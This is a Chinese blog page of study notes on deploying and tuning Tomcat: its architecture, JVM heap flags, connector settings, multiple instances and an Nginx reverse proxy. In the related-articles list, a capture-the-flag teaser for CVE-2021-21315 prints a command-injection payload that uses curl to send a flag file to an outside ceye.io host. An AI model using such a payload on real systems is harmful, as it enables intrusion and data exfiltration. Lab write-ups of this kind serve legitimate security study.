第六章Tomcat部署以及优化

news2025/1/18 11:44:18

Tomcat:

 

开放源代码web应用服务器。(基于Java代码开发的),主要是处理动态请求和基于java代码进行页面开发。可以在html当中写入Java代码,Tomcat可以解析html页面当中的Java,执行动态请求,动态页面。

Tomcat的问题:

1,机制有问题,不对Tomcat进行优化,会出现:假死或者停机。小集群,小服务,小应用适用于Tomcat,大并发的场景不合适。

Tomcat优点:

1,免费。

2,开源,可以二次封装

3,可配置性强

4,安全性,Tomcat自带安全机制,可以配置用户认证,授权,加密传输。

5,部署应用非常快捷,Tomcat会自动部署,自动运行。

核心组件:

 

1,web容器:主要是完成web服务器的功能,web应用。

web——>http或者https——>访问页面——>文件 index.jsp

)1,web容器中,封装了一组文件,在这一组文件中,进行集中化管理,web'动态页面

2,servlet容器:处理servlet代码,就是处理web请求(http),以及生成动态内容的Java类。

)1,处理http请求

)2,生成动态内容,为了和数据库交互——>用户发送的,jsp当中

)3,会话管理,跟用户在不同请求之间的状态,通过管理,可以在用户访问不同页面时保持用户的状态

)4,与数据库交互,servlet可以连接到数据库,执行查询和更新操作,这就是servlet能够生成动态内容的原因

3,jsp:将动态页面翻译成servlet代码,用标准格式,展示jsp的静态页面。

)1,jsp:java server pages 动态页面的开发技术。使用jsp标签index.jsp 在html页面种插入Java代码。

)2,jsp容器——>html页面当中的Java代码翻译——>执行——>展示结果。

 

功能组件:

1,connector:负责对外接受和响应请求,是Tomcat与外界的交通枢纽。监听端口,也可以接受外界请求,交给container处理。

2,container负责对内处理业务逻辑

)1,Engine:引擎,管理虚拟机(service,一个service里面可以包含多个虚拟主机),可以管理多个,但是每个service里面只能由一个Engine

)2,Host:代表一个虚拟机,也可以叫站点

)3,Context:web应用。包含多个servlet

)4,Wrapper:封装器,最底层,每一个wrapper里面都封装一个servlet,负责对象实例的创建,执行,销毁

Tomcat处理请求的过程

 

1,输入网址,请求发送,请求发送到8080端口,被监听的connector获得

2,connector会把请求转发到container处理——>engine(虚拟主机,你要访问那个虚拟主机)——>host(主机站点包含请求页面的位置。webapps)——>从contex,就是index.jsp里面的内容。——>wrapper(servlet,响应解析处理请求)——>jsp翻译官——>页面展示

Tomcat文件中:

1,bin:存放的启动和关闭tomcat脚本文件

2,conf:著配置文件 server.xml 主配置文件

3,contex.html host :默认配置信息

4,tomcat-user.xml:认证用户密码的配置文件

5,web.xml:配置servlet servlet的规范标准

6,lib:tomcat运行库的jar包,一般不动,除非第三方——redis,数据库

7,logs:日志文件

8,webapps:web应用部署的默认文件

9,work:tomcat的工作目录

JVM:就是Java的虚拟机,是Java应用程序在计算机上运行的核心组件,Java负载将编译后的Java字节码(.class文件),解释或者编译成本地的机器码,计算机能够执行它。Java还是提供好了内存管理,垃圾回收,线程管理。确保Java程序在不同平台可以有一致性的功能

JVM优化:(年限长的会问)

1,catalina.sh:就是servlet代码,已经容器的配置

2,PS Eden Space:堆内存:储存新创建的对象

3,PS Old Gen:堆内存,存储长时间存活的对象

4,PS Survivor Space:堆内存,存在创建之后,生命周期较短的对象

5,Code-Cache:非堆内存,存储已经编译的代码

6,Compressed Class Space :非堆内存,储存已经压缩的类

7,Metaspace:非堆内存,存储类的元数据

 

面试题:(代码都要记住)

JAVA_OPTS="$JAVA_OPTS -server -Xms2048m -Xmx2048m -Xmn768m -XX:ParallelGCThreads=2 -XX:PermSize=1024m -XX:MaxPermSize=1024m -Djava.awt.headless=true -XX:+DisableExplicitGC" -server:第一个参数,指定内存池,一定放在第一个。 -Xms2048m:初始java堆的大小。分配JVM的最小内存,看cpu:cpu性能高,这个值,可以设高一点 -Xmx2048m:JAVA堆最大能多大,jvm的最大内存。和硬件内存挂钩。根据官方文档,起始值和最大值保持一致。XMS和XMX设为一样的,内存可以设为物理内存的一般。 -Xmn768m :新生代的内存大小。官方推荐为了整个堆大小的3/8. -XX:ParallelGCThreads=2: 配置并行收集器的线程数,同时可以有多少个线程进行垃圾回收。 -XX:PermSize:设置持久代内存的大小,默认是物理内存的1/4。 -XX:MaxPermSize=1024m :最大的非堆内存的大小,默认也是物理内存的1/4; -XX:PermSize=1024m -XX:MaxPermSize=1024m 非堆内存是不会被垃圾回收机制处理的,-XX:PermSize持久代内存与最大非堆内存不能超出操作系统可用的内存。设置成一样大,可以减轻伸缩堆大小的压力。 -Djava.awt.headless=true:避免在linux环境下,web不能正常打开以正常显示图片。 -XX:+DisableExplicitGC" :避免jvm空间大起大落,影响系统的响应时间。响应速度会很慢。

 

Tomcat 虚拟主机配置:

一台服务器上,在一个tomcat中会部署多个虚拟机服务器。减少系统的资源消耗

 

 

Tomcat优化:

1,第一次启动tomcat会发现启动速度很慢

jdk参数:

 

2,server.xml针对主配置文件的优化

)1,redirectPort:如果某连接器支持的协议是http,当接受客户端发来的请求是https,就会启动此端口,8443

3,maxthreads:tomcat使用线程来处理请求的,可以创建的最大线程数,也就是并发连接数。默认200

4,minsparethreads:最小空闲线程数,开启tomcat是会有多少线程,默认是0
5,maxSparethreads:最大的备用线程,一旦创建的线程数超过这个值,rtomcat会关闭不再需要的端口进进程,默认是-1,也就是不限制。一般不指定

6,URIEncoding:URL的格式编码,默认utf、-8.需要分别指定,所以一般不动

7,connection Timeout:网络连接超时,单位:毫秒。为0,永不超时,一般为20000毫秒。

8,enableookups:是否反向解析域名,为了能够获取远程主机的主机名。一般设置为false,直接返回ip地址。提高了处理能力。

9,disableUploadTimeout:上传超时时间,设置为true

10,connectionUploadTimeout:因人而异,一般1分钟或者30秒

11,acceptCount:所有可以使用的线程如果都被占用了,可以传入链接请求的最大队列长度。(默认100个,超出这个范围的所有请求都会被直接丢弃)

12,compression:是否开启页面和响应数据的压缩。off关 on开 force(所有的情况下都进行压缩。)

Tomcat多实例

多实例:在一台服务器上有多个tomcat服务。

HOME:tomcat主目录的路径,包含所有tomcat的文件

工具:

telnet:第三方软件,用作测试端口通信是否正常。

语法: telnet 20.0.0.40 80

Nginx+Tomcat实现动静分离:

静:静态页面

动:动态页面

分别可以对静态页面和动态页面发起不同的请求,会有不同的响应结果。

nginx 反向代理——>负载均衡——>tomcat是后端服务器——>web静态nginx——>静态请求——>nginx——>动态页面——>tomcat

我们需要多台tomcat:因为tomcat并发能力弱,只有nginx的六分之一,所以要有负载均衡进行合理的分配。

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884755.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台,curl请求 http://eci-2zed871sr7xrdjb…

Memory Analyzer(MAT)分析内存

关于作者:CSDN内容合伙人、技术专家, 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 ,擅长java后端、移动开发、人工智能等,希望大家多多支持。 目录 一、导读二、概览三、 使用3.1 hprof 文件准备3.1.1 Android sutdi…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时,经常需要对一段话插入一段描述或者附件链接等,使用脚注经常因占用篇幅较大导致文档页面内容杂乱,这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注,这样文章整体干净整洁,需…

驾考笔记 _ 科目3 - 坂田线路图

深圳坂田线路图 1#线 >2#线 >3#线 > 1#线 > 2#线 > 3#线 > 简图:

Python random模块用法整理

随机数在计算机科学领域扮演着重要的角色,用于模拟真实世界的随机性、数据生成、密码学等多个领域。Python 中的 random 模块提供了丰富的随机数生成功能,本文整理了 random 模块的使用。 文章目录 Python random 模块注意事项Python random 模块的内置…

koa 使用 Mongoose 查询数据

Mongosee 操作符koa 使用 Mongoose 进行 翻页查询koa 使用 Mongoose 进行 多条件查询 mongosee 操作符 在使用 Koa 和 Mongoose 进行数据库查询时,你可以使用以下常用的操作符来构建查询条件: $eq:等于 示例:{ field: { $eq: valu…

pip install mysql出现error: subprocess - exited-with-error的解决方案

大家好,我是爱编程的喵喵。双985硕士毕业,现担任全栈工程师一职,热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。现为CSDN博客专家、人工智能领域优质创作者。喜欢通过博客创作的方式对所学的…

【Linux命令详解 | df命令】 df命令用于显示文件系统的磁盘空间使用情况,包括挂载点和可用空间

文章标题 简介一,参数列表二,使用介绍1. 查看整体磁盘空间使用情况2. 显示指定文件系统类型3. 查看inode信息4. 显示指定列5. 显示总计信息6. 检查特定文件系统空间使用情况7. 定期监控磁盘空间8. 了解磁盘配额9. 监控文件系统健康状态 结论 简介 在Lin…

如何快速更换有问题的PROFINET IO设备?

如何快速更换有问题的PROFINET IO设备? 一般情况下,更换PROFINET设备的步骤如下: 拆下有问题的PN 设备安装新设备打开博途软件在线分配设备名称和IP地址 那么,为了减少设备宕机时间,快速更换有问题的PN IO设备,我们可以采用以下的方法: PLC需支持无介质可更换设备的必需…

ICC2如何write_gds写出pr boundary

我正在「拾陆楼」和朋友们讨论有趣的话题,你⼀起来吧? 拾陆楼知识星球 在数模混合项目中,需要在前期确定pr boundary的尺寸,可以在virtuoso中画一个pr boundary存def给pr,当然,pr这边在前期修改尺寸也需要给负责模拟版图的同事确认,但ICC2 write gds默认是写不出pr bou…

TienChin 创建菜单页面

上一节当中我们只是给后台添加了对应的菜单,实际上对应的页面还没有存在这节主要就是创建出来页面: 促销活动: activity统计分析: analysis商机管理: business渠道管理: channel线索管理: clue合同管理: contract私教课程: course转派管理: transfer tem…

AMD Zen4撕裂者太霸气了!96核心功耗只有350W

AMD将在今年第三季度发布基于Zen4架构的新一代锐龙线程撕裂者,不但继续在核心数量、性能上碾压对手,还会升级到DDR5、PCIe 5.0。 在最新曝光的一份货物清单中,赫然可以看到三款新的撕裂者: - Threadripper 7995WX 350W…

动设备状态监测:智能化生产的关键利器

动设备状态监测正引领着工业生产的智能化转型。本文将深入探讨动设备状态监测的意义、PreMaint在其中的角色,以及如何实现智能化生产,提高生产效率和可靠性。 1. 动设备状态监测的重要性 随着制造业的发展,设备的状态监测变得至关重要。动设…

Java 中的 JIT 和 AOT

我们都知道,Java 是一种半编译型,半解释型的语言,其编译部分和 C 语言比较类似,解释部分和 Python 语言比较类似,而 Java 则是综合了两种方式的语言。 一、编译与解释 1.1 编译型语言 所谓编译,就是将程…

ClickHouse(二十):Clickhouse SQL DDL操作-2-分区表DDL操作

进入正文前,感谢宝子们订阅专题、点赞、评论、收藏!关注IT贫道,获取高质量博客内容! 🏡个人主页:含各种IT体系技术,IT贫道_Apache Doris,大数据OLAP体系技术栈,Kerberos安全认证-CSDN博客 &…

TienChin 引入 MyBatisPlus

在父工程当中添加版本号&#xff0c;统一管理&#xff1a; <mybatis-plus.version>3.5.1</mybatis-plus.version> 在父工程当中添加 MyBatisPlus 依赖&#xff1a; <!--MyBatis Plus--> <dependency><groupId>com.baomidou</groupId><a…

单链表相关操作(头插法和尾插法)

目录 1.尾插法建立单链表 带头结点 不带头节点 用户输入建立单链表 带头结点 不带头结点 2.头插法建立单链表 带头结点 用户输入建立单链表 带头结点 不带头结点 头插法和尾插法最大区别在于&#xff0c;尾插法可以顺序输出用户输入的元素&#xff0c;头插法则是逆序…

读高性能MySQL(第4版)笔记02_MySQL架构(下)

1. 事务日志 1.1. 事务日志有助于提高事务的效率 1.1.1. 存储引擎只需要更改内存中的数据副本&#xff0c;而不用每次修改磁盘中的表&#xff0c;这会非常快 1.1.2. 更改的记录写入事务日志中&#xff0c;事务日志会被持久化保存在硬盘上 1.2. 事务日志采用的是追加写操作&…

AMD Zen4最后一招!64核心只需200W

AMD Zen4已经布局得差不多了&#xff0c;不过在服务器上还有最后一招&#xff0c;那就是面向边缘计算、电信基础设施等不需要太强性能、但对功耗和能效很敏感的Siena系列。 Zen4霄龙已经发布了三个系列&#xff0c;标准的Genoa(96核心)、集成3D缓存的Genoa-X(96核心/1152MB三级…

关于牛津大学暑研项目的总结和收获

关于牛津大学暑研项目的总结和收获 关于这篇博客主要是想记录一下这次项目的一些收获和心得&#xff0c;一如三年前参与新加坡国立大学的寒研项目一样。我这次的参加的日期是在八月份的数学&#xff0c;物理和计算机类的&#xff0c;这次分享的内容主要集中在学术、生活和思维…